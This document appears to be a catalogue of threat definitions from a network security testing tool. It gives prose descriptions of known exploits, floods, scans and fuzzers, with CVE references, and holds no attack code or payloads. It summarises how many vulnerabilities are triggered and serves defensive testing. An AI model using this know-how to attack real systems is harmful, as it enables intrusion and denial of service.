Threat File Name:	horde_cmi.xml
Executive Description:	Horde help viewer module remote PHP code execution
Detailed Description:	This threat sends a crafted HTTP query containing an SQL statement which when executed by the server allows the injection of PHP code which will also be executed by the server when the inserted record is displayed.
Protocol Type:	HTTP
CVEID:	CVE-2006-1491
OSVDB:	15945
Threat Package:	Standard
Threat File Name:	zenturi_scan_method_bof_IPv6.xml
Executive Description:	Zenturi ProgramChecker SASATL.DLL ActiveX Control Scan Method Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070213-08_Microsoft_Internet_Explorer_FTP_Response_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer FTP Response Parsing Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The flaw is due to improper validation of reply lines in FTP server responses. By persuading a user to visit a malicious web site, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user.
Protocol Type:	FTP
CVEID:	CVE-2007-0217
Threat Package:	Standard
Threat File Name:	hivemail_cmi_b.xml
Executive Description:	HiveMail Vulnerabilities Remote Command Execution
Detailed Description:	This threat sends a crafted URL containing PHP code which is executed by the server. HiveMail is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0757
Threat File Name:	TSL20130506-02_Microsoft_Internet_Explorer_CGenericElement_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CGenericElement Memory Corruption [IPv6, Version]

Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a use-after-free error on a CGenericElement object when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-1347
OSVDB:	92993
Threat File Name:	ipv6_ack_flood.xml
Executive Description:	ACK Flood IPv6
Detailed Description:	This threat is an IPv6 version of an ACK flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20080408-08_Microsoft_Visio_Object_Header_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Visio Object Header Buffer Overflow (IPv6 Version)
Detailed Description:	A remote code-execution vulnerability exists in Microsoft Visio. The vulnerability is due to incorrectly handling the object header in a crafted Microsoft Visio file. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious Microsoft Visio file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1089
Threat Package:	Standard
Threat File Name:	TSL20151021-01_Microsoft_Internet_Explorer_CVE_2015_6049_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-6049 Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-6049
Threat File Name:	nctwmfile2.dll_activex_overwrite.xml
Executive Description:	NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) "CreateFile()"Insecure Method
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the NCTAudioStudio2 ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0018
OSVDB:	32032
Threat Package:	Standard
Threat File Name:	FSC20100216-07_OpenOffice_org_Microsoft_Word_File_Processing_Integer_Underflow.xml
Executive Description:	OpenOffice.org Microsoft Word File Processing Integer Underflow
Detailed Description:	An integer underflow vulnerability has been reported in OpenOffice. The vulnerability is due to an error processes sprmTDefTable records in Microsoft Word files. A remote unauthenticated attacker could leverage this vulnerability by enticing a target user to open a malicious Microsoft Word file with a vulnerable version of the application. In a successful attack, it may result in a heap overflow leading to the possibility of code execution within the security context of the currently logged on user. In an unsuccessful attack, the target application could terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-3301
Threat Package:	Standard
Threat File Name:	goahead_post_IPv6.xml
Executive Description:	Goahead Webserver Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends out a POST URI with data that is less than the length of what is specified in the header, causing a crash in the webserver service. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	3617
Threat Package:	Standard
Threat File Name:	sipscalartoolarge_IPv6.xml
Executive Description:	SIPPING: REGISTER Scalar Values Too Large (IPv6 Version)
Detailed Description:	This threat sends out a SIP REGISTER message with the scalar values greater than the maximum allowed for that field. This is illegal and should cause a 400 Bad Request because of the CSeq value. Because it is unexpected, it may also confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	ie7_jpg_xss.xml
Executive Description:	IE7 Malformed Image XSS
Detailed Description:	This threat causes Internet Explorer 7 and 6 to execute javascript nested inside of a malformed image. This can allow malicious hackers to poison websites where users are allowed to upload pictures. This attack would come from a webserver on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060207-07_Linux_Kernel_ICMP_Packet_Handling_Denial_of_Service_Vulnerability.xml
Executive Description:	Linux Kernel ICMP Packet Handling Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the Linux 2.6 Kernel. The flaw is caused by the IP stack component which generates an ICMP response messages. By sending a crafted IP packet to the target host, a remote attacker may exploit this vulnerability to cause a system wide denial of service condition.
Protocol Type:	ICMP
CVEID:	CVE-2006-0454
Threat Package:	Standard

Threat File Name:	FSC20040922-01_PHP_Arbitrary_File_Location_Upload_Vulnerability_IPv6.xml
Executive Description:	PHP Arbitrary File Location Upload Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in PHP's handling of the Content-Disposition MIME header. An attacker could control the location of an uploaded file by supplying an arbitrary file name and path through this header. It is possible to exploit this vulnerability and upload a malicious file to an arbitrary location on the vulnerable system, possibly leading to arbitrary code execution. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0959
Threat Package:	Standard
Threat File Name:	PortScanEverything_IPv6.xml
Executive Description:	Portscan: Everything (IPv6 Version)
Detailed Description:	This scan sends a TCP Packet, with every TCP flag set, to all possible ports on the user specified target. This is an attempt to probe the target for open ports. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	chilkat_zip_activex_overwrite.xml
Executive Description:	Chilkat Zip ChilkatZip2.DLL Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in Chilkat Zip ActiveX Component allowing it to overwrite any file on the victim system. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3633
Threat Package:	Standard
Threat File Name:	transmitapp_heap.xml
Executive Description:	Transmit.app <= 3.5.5 ftps:// URL Handler Heap Buffer Overflow Vulnerability
Detailed Description:	This threat uses a malicious web server reply to leverage a flaw in Apple's Transmit.app leading to a heap-based buffer overflow condition. Transmit.app is an ftp client application that can also retrieve data from http served URIs from port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0020
Threat Package:	Standard
Threat File Name:	FSC20110208-44_Microsoft_Internet_Explorer_8_IESHIMS_DLL_Insecure_Library_Loading.xml
Executive Description:	Microsoft Internet Explorer 8 IESHIMS.DLL Insecure Library Loading
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles the loading of IESHIMS.DLL. A remote attacker can exploit this vulnerability by enticing a target user to save a maliciously crafted dynamic link library (DLL) file on the desktop or modify the system variable PATH. Upon starting the Internet Explorer 8, the malicious DLL will be loaded and executed. In a successful attack the behaviour of the target host is entirely dependent on the intended function of the malicious DLL. The code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,SMB/CIFS
CVEID:	CVE-2011-0038
Threat File Name:	phpldapadmin_injec_IPv6.xml
Executive Description:	phpldapadmin Remote Command Execution (IPv6 Version)
Detailed Description:	This threat allows an attacker to inject arbitrary commands into the website code. This allows the attacker to execute commands with the privileges of the hosting webserver. phpldapadmin is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2793
OSVDB:	19068
Threat Package:	Standard
Threat File Name:	corehttp_bof_IPv6.xml
Executive Description:	corehttp 0.5.3alpha (httpd) Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a long specially crafted URI in the http request of a emulated client to crash or execute arbitrary code on server running Corehttp 0.5.3. CoreHTTP is a web server and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4060
Threat Package:	Standard
Threat File Name:	solidstate_rfi_IPv6.xml
Executive Description:	SolidState Remote Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.SolidState is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5020
Threat Package:	Standard
Threat File Name:	FSC20080103-04_Adobe_Flash_Player_ActiveX_Control_navigateToURL_Cross_IPv6.xml
Executive Description:	Adobe Flash Player ActiveX Control navigateToURL Cross-Site Scripting (IPv6 Version)
Detailed Description:	There exists a cross-site scripting vulnerability in the way Adobe Flash Player processes SWF files. The vulnerability is due to lack of input validation while parsing the parameter of navigateToURL function. A remote attacker can exploit this vulnerability by enticing the target user to open malicious web page embedding SWF files, potentially executing arbitrary HTML code within the context of a trusted web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6244
Threat Package:	Standard
Threat File Name:	TSL20141014-15_Microsoft_Office_Word_and_Web_Apps_Memory_Corruption.xml

Executive Description:	Microsoft Office Word and Web Apps Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Word and Web Apps. The vulnerability is due to insufficient validation of input while processing specially crafted Office A memory corruption vulnerability exists in Microsoft Office Word and Web Apps. The vulnerability is due to insufficient validation of input while processing specially crafted Office files. A remote attacker can exploit this vulnerability by enticing the user to open a specially crafted Word file using the vulnerable software. This can result in arbitrary code execution on the affected machine in the context of the user privilege.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS/NFS
CVEID:	CVE-2014-4117
OSVDB:	113190
Threat File Name:	TSL20170111-13_Adoobe_Acrobat_ImageConversion_JPEG_Heap-based_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat ImageConversion JPEG Heap-based Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability has been found in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper validation user-supplied data which can result in a heap buffer overflow when processing a JPEG image file. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted file or web page. Successful exploitation could result in code execution under the context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2017-2959
Threat File Name:	FSC20071211-13_Microsoft_DirectX_WAV_and_AVI_File_Parsing_Code_Execution.xml
Executive Description:	Microsoft DirectX WAV and AVI File Parsing Code Execution
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectX application framework. The vulnerability is due to the way certain DirectX libraries handle specially crafted WAV and AVI files. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted WAV or AVI file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3895
Threat Package:	Standard
Threat File Name:	FSC20070213-20_Microsoft_Step-by-Step_Interactive_Training_Crafted_Bookmark_Link_File_Buffer_Overflow.xml
Executive Description:	Microsoft Step-by-Step Interactive Training Crafted Bookmark Link File Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Microsoft Step-by-Step Interactive Training. The flaw is due to improper handling of bookmark link files. Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the vulnerable system with the privileges of the currently logged in User.
Protocol Type:	HTTP
CVEID:	CVE-2006-3448
Threat Package:	Standard
Threat File Name:	fuzz-ARP_srcIP.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:srcIP
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	FSC20101222-02_Microsoft_WMI_Administrative_Tools_ActiveX_Control_Multiple_Vulnerabilities_IPv6.xml
Executive Description:	Microsoft WMI Administrative Tools ActiveX Control Multiple Vulnerabilities (IPv6 Version)
Detailed Description:	Multiple vulnerabilities have been reported in Microsoft Windows Management Instrumentation (WMI) Administrative Tools that could be exploited by remote attackers to compromise a vulnerable user's system. The vulnerabilities are due to the way "AddContextRef()" and "ReleaseContext()" methods of the WMI Object Viewer control improperly handle the "lCtHandle" parameter.Remote, unauthenticated attackers could exploit this vulnerability by enticing an unsuspecting user to process a malicious web page. This can lead to code execution on their system under the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-3973
Threat File Name:	TSL20150512-32_Microsoft_Internet_Explorer_CVE_2015_1705_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1705 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1705
OSVDB:	121987
Threat File Name:	TSL20110412-24_Microsoft_Excel_Data_Validation_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Excel Data Validation Record Parsing Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way the vulnerable product parses Data Validation (dv) records in Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0105
Threat File Name:	FSC20080812-12_Microsoft_Excel_FORMAT_Record_Array_Index_Memory_Corruption.xml
Executive Description:	Microsoft Excel FORMAT Record Array Index Memory Corruption

Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to insufficient validation of an index value when parsing the FORMAT record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3005
Threat Package:	Standard
Threat File Name:	easy-content_xss.xml
Executive Description:	Easy-Content Forums 1.0 XSS Vulnerability
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing HTML or Javascript. Easy-Content Forums is a web application that typically listens on port 80."
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080725-21_RealNetworks_RealPlayer_ActiveX_Import_Method_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer ActiveX Import Method Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in RealNetworks RealPlayer application. The vulnerability is due to improper checks when handling deletion of media library files. A remote attacker can exploit this vulnerability by enticing the target user to visit a malicious web page that injects a media file through Active X control, and enticing the user to delete it. Successful exploitation would cause a stack buffer overflow that may lead to arbitrary code execution in the security context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3066
Threat Package:	Standard
Threat File Name:	FSC20060502-06_MySQL_Login_Handshake_Information_Disclosure.xml
Executive Description:	MySQL Login Handshake Information Disclosure
Detailed Description:	There exists an information disclosure vulnerability in MySQL database. The vulnerability is due to a flaw in the server component responsible for the login handshake procedure and allows an attacker with anonymous access to the database to read sensitive data stored in the memory of the server. The attacker then may use the acquired information to compromise the server or to facilitate other attack attempts.
Protocol Type:	Proprietary
Threat Package:	Standard
Threat File Name:	leadtools_raster_dialog_activex_bof.xml
Executive Description:	LeadTools Raster Dialog File Object LTRDF14E.DLL ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the LeadTools Raster Dialog ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2895
Threat Package:	Standard
Threat File Name:	wingate_bof.xml
Executive Description:	QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit
Detailed Description:	This threat sends a crafted HTTP POST command with an excessive length causing a stack overflow condition. WinGate is an HTTP proxy daemon which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2926
Threat Package:	Standard
Threat File Name:	FSC20040616-01_Symantec_Enterprise_Firewall_DNSD_Proxy_Cache_Poisoning.xml
Executive Description:	Symantec Enterprise Firewall DNSD Proxy Cache Poisoning
Detailed Description:	There is a vulnerability in the way DNSD Proxy, a component of the Symantec Enterprise firewall, handles DNS responses. The DNSD Proxy, when operating as a DNS cache, can be poisoned by remote attackers pretending to be authoritative over domains for which they are not. This vulnerability can be exploited to direct users to malicious websites that appear to be trusted sites.
Protocol Type:	DNS
CVEID:	CVE-2004-1754
Threat Package:	Standard
Threat File Name:	santy2.xml
Executive Description:	Santy.B phpBB worm 2
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ie6_checkbox_rce.xml
Executive Description:	Internet Explorer Checkbox Remote Code Execution Exploit
Detailed Description:	This server based threat delivers an html document which causes internet to access an invalid element via the "document.getElementById().createTextRange() method, which can be used to effect EIP and execute arbitrary code. Internet Explorer is a web browser which typically connects using port 80.
Protocol Type:	HTTP
Threat File Name:	FSC20070423-19_Apple_QuickTime_for_Java_toQTPointer_Function_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime for Java toQTPointer Function Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the QTJava component shipped with Apple QuickTime. The vulnerability is due to insufficient validation of the parameters passed to function toQTPointer. The flaw can be leveraged remotely to execute arbitrary code under the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2175
Threat Package:	Standard

Threat File Name:	FSC20070920-07_IBM_Tivoli_Storage_Manager_Express_CAD_Service_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager Express CAD Service Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the IBM Tivoli Storage Manager product. The flaw is due to a boundary error in the processing of specially crafted HTTP requests. A remote unauthenticated attacker may exploit this flaw to cause denial of service, or inject and execute arbitrary code on the target host, normally with the System privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-4880
Threat Package:	Standard
Threat File Name:	sipcontactparam.xml
Executive Description:	SIPPING: Contact Header Parameter
Detailed Description:	This threat sends out a SIP REGISTER message with an unknown parameter in the Contact: header. This is allowed but unexpected and may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170628-05_Systemd_resolved_dns_packet_new_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Systemd resolved dns_packet_new Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability has been reported in the dns_packet_new function of systemd-resolved. This vulnerability is due to the allocation of a heap buffer of insufficient size when handling DNS responses. A malicious DNS server can exploit this vulnerability by sending a crafted DNS response. Successful exploitation may result in arbitrary code execution.
Protocol Type:	DNS,IPv6
CVEID:	CVE-2017-9445
Threat File Name:	eudora7_1_bof_IPv6.xml
Executive Description:	Eudora 7.1 SMTP ResponseRemote Remote Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is a server based buffer overflow attack against the eudora mail client, this threat is delivered over SMTP port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat File Name:	hpopenview_command_IPv6.xml
Executive Description:	HP OpenView Remote Command Execution (IPv6 Version)
Detailed Description:	This threat causes HP OpenView to execute an arbitrary command through the URL. This is done by specifying pipe passed in the variable node in URL. HP OpenView is a web application, and typically listens on port 3443. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-2773
OSVDB:	19057
Threat Package:	Standard
Threat File Name:	FSC20100722-01_HP_OpenView_Network_Node_Manager_webappmon.exe_execvp_nc_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager webappmon.exe execvp_nc Buffer Overflow
Detailed Description:	A stack buffer overflow exists in the HP OpenView Network Node Manager (NNM) ov.dll which is invoked by the CGI program webappmon.exe. The vulnerability is due to a boundary error when processing maliciously crafted HTTP requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-2703
Threat File Name:	FSC20081202-02_ClamAV_AntiVirus_cli_check_jpeg_exploit_Function_Denial_of_Service.xml
Executive Description:	ClamAV AntiVirus cli_check_jpeg_exploit Function Denial of Service
Detailed Description:	A buffer overflow vulnerability exists in the ClamAV AntiVirus product. The vulnerability can be triggered when the application processes crafted JPEG files. An unauthenticated attacker can exploit this vulnerability by delivering a crafted file to the scanning service resulting in an unchecked recursion which consumes the stack and causes a Denial of Service condition. In an attack case, the affected ClamAV daemon will terminate. This might allow for further exploitation of the target system, exposing the system to other threats in absence of the AntiVirus daemon.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-5314
Threat Package:	Standard
Threat File Name:	TSL20170224-03_Dovecot_SASL_Authentication_Component_Denial_of_Service_IPv6.xml
Executive Description:	Dovecot SASL Authentication Component Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability has been reported in the SASL authentication component of Dovecot server. The vulnerability is due to improper handling of username when processing SASL authentication if auth-policy component has been activated. A remote attacker could exploit this vulnerability by sending malicious requests to target server. Successful exploitation could result in a denial of service condition.
Protocol Type:	SMTP,SMTPS,IMAP,IMAPS,POP3,POP3S,IPv6
CVEID:	CVE-2016-8652
Threat File Name:	DNSfloodSpoofedReq.xml
Executive Description:	DNS Spoofed Request Flood
Detailed Description:	This threat attacks a DNS server by sending multiple DNS requests from spoofed IP addresses. This causes resource starvation of the DNS server. The domain name that is queried is imperfectnetworks.com.
Protocol Type:	DNS
CVEID:	CVE-1999-0275
OSVDB:	11471
Threat Package:	Standard
Threat File Name:	FloodAck_IPv6.xml

Executive Description:	TCP ACK Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP packets from a user specified source where the ACK (Acknowledgement) flag has been turned on. The ACK flag is sent by a user to verify that a transmission was successful. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS. Setting the source IP address to random will make this a more effective attack. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-0770
OSVDB:	1027
Threat Package:	Standard
Threat File Name:	TSL20110927-02_Novell_GroupWise_Internet_Agent_HTTP_Interface_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Novell GroupWise Internet Agent HTTP Interface Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Novell GroupWise Internet Agent (GWIA) HTTP interface (port 9850/tcp). The vulnerability is due to a boundary error when parsing overly long HTTP requests to certain .css resources. An unauthenticated remote attacker could exploit this vulnerability to execute arbitrary code on targeted vulnerable installations of GWIA under the context of the SYSTEM user.
Protocol Type:	IPV6,HTTP, over port 9850/TCP
CVEID:	CVE-2011-0334
Threat File Name:	FSC20090427-05_Mozilla_Firefox_ClearTextRun_Function_Memory_Corruption.xml
Executive Description:	Mozilla Firefox ClearTextRun Function Memory Corruption
Detailed Description:	A memory corruption exists vulnerability in Mozilla Firefox. This flaw is due to improper handling of script that manipulates text objects in HTML document. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious webpage. Successful attacks could allow for arbitrary code injection and execution with the privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, Firefox may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1313
Threat Package:	Standard
Threat File Name:	FSC20080408-13_Microsoft_Windows_Scripting_Engines_Script_Encoding_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Scripting Engines Script Encoding Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows Scripting Engine. The flaw is due to a boundary error when decoding scripts in web pages. This vulnerability can be exploited by remote attacker to inject and execute arbitrary code on the target system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0083
Threat Package:	Standard
Threat File Name:	FSC20081209-02_Microsoft_SQL_Server_sp_replwritetovarbin_Stored_Procedure_Buffer_Overflow.xml
Executive Description:	Microsoft SQL Server sp_replwritetovarbin Stored Procedure Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft SQL Server. The vulnerability is due uninitialized variables as parameters when calling the extended stored procedure sp_replwritetovarbin. A remote authenticated attacker can exploit this vulnerability by sending a specially T-SQL script to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected process. In an attack case where code injection is not successful, the SQL Server process will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the SQL server process.
Protocol Type:	SMB/TDS
CVEID:	CVE-2008-5416
Threat Package:	Standard
Threat File Name:	TSL20170302-04_Trend_Micro_SafeSync_for_Enterprise_storage.pm_device_id_role_Command_Injection.xml
Executive Description:	Trend Micro SafeSync for Enterprise storage.pm device_id role Command Injection
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise storage.pm page. The vulnerability is due to insufficient validation of the user-supplied role and device_id parameters. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the root.
Protocol Type:	HTTPS
Threat File Name:	TSL20140226-14_Apple_QuickTime_ftab_Atom_Stack_Buffer_Overflow.xml
Executive Description:	Apple QuickTime ftab Atom Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation on the length of font names when parsing "ftab" atoms. A remote unauthenticated attacker can exploit this vulnerability by enticing the target user to open a specially crafted file with the affected application. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS,SMB/CIFS,NFS,IAMP,POP3,SMTP
CVEID:	CVE-2014-1246
OSVDB:	103743
Threat File Name:	FSC20080104-04_Macrovision_InstallShield_Update_Service_isusweb.dll_Remote_Buffer_Overflow.xml
Executive Description:	Macrovision InstallShield Update Service isusweb.dll Remote Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Macrovision InstallShield Update Service ActiveX control implemented in isusweb.dll. The vulnerability is due to a boundary error while processing calls to the DownloadAndExecute method of the said ActiveX control. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be injected and executed in the security context of the currently logged in user.s
Protocol Type:	
CVEID:	CVE-2007-6654
Threat Package:	Standard

Threat File Name:	TSL20120403-03_Quest_InTrust_Annotation_Objects_ActiveX_Control_Index_out_of_Bounds_IPv6.xml
Executive Description:	Quest InTrust Annotation Objects ActiveX Control Index out of Bounds(IPv6 Version)
Detailed Description:	A memory access vulnerability has been reported in Quest InTrust's Annotation Objects ActiveX control. The vulnerability is due to a design flaw in the Add() method exposed by this ActiveX control, which allows script code to cause the process to execute code from an attacker-controlled memory location. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to access a maliciously crafted web page. This can result in code execution in the context of the affected user.
Protocol Type:	IPv6,HTTP,HTTPS
Threat File Name:	libtiff_dos_IPv6.xml
Executive Description:	LibTiff Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious tiff image file in a HTTP server response meant to crash any client application that uses the LibTiff image processing library. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2024
OSVDB:	25018
Threat Package:	Standard
Threat File Name:	safari_windows_cmi.xml
Executive Description:	Safari 3 for Windows Beta Remote Command Execution Vulnerability
Detailed Description:	This threat demonstrates a flaw in Apple Safari for Windows that allows for execution of arbitrary commands via shell metacharacters in a URI in the SRC of an IFRAME embedded in a web page. This attack is delivered via port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3186
Threat Package:	Standard
Threat File Name:	TSL20120127-02_Apache_HTTPD_mod_log_config_Cookie_Handling_Denial_of_Service_IPv6.xml
Executive Description:	Apache HTTPD mod_log_config Cookie Handling Denial of Service(IPv6 Version)
Detailed Description:	A denial of service vulnerability has been identified in Apache httpd. The vulnerability is due to an error while logging crafted HTTP requests by mod_log_config. If the '%{cookieName}C' log format is in use, certain cookies can cause the server to crash. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. A successful attack will crash the server resulting in a denial-of-service condition.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0021
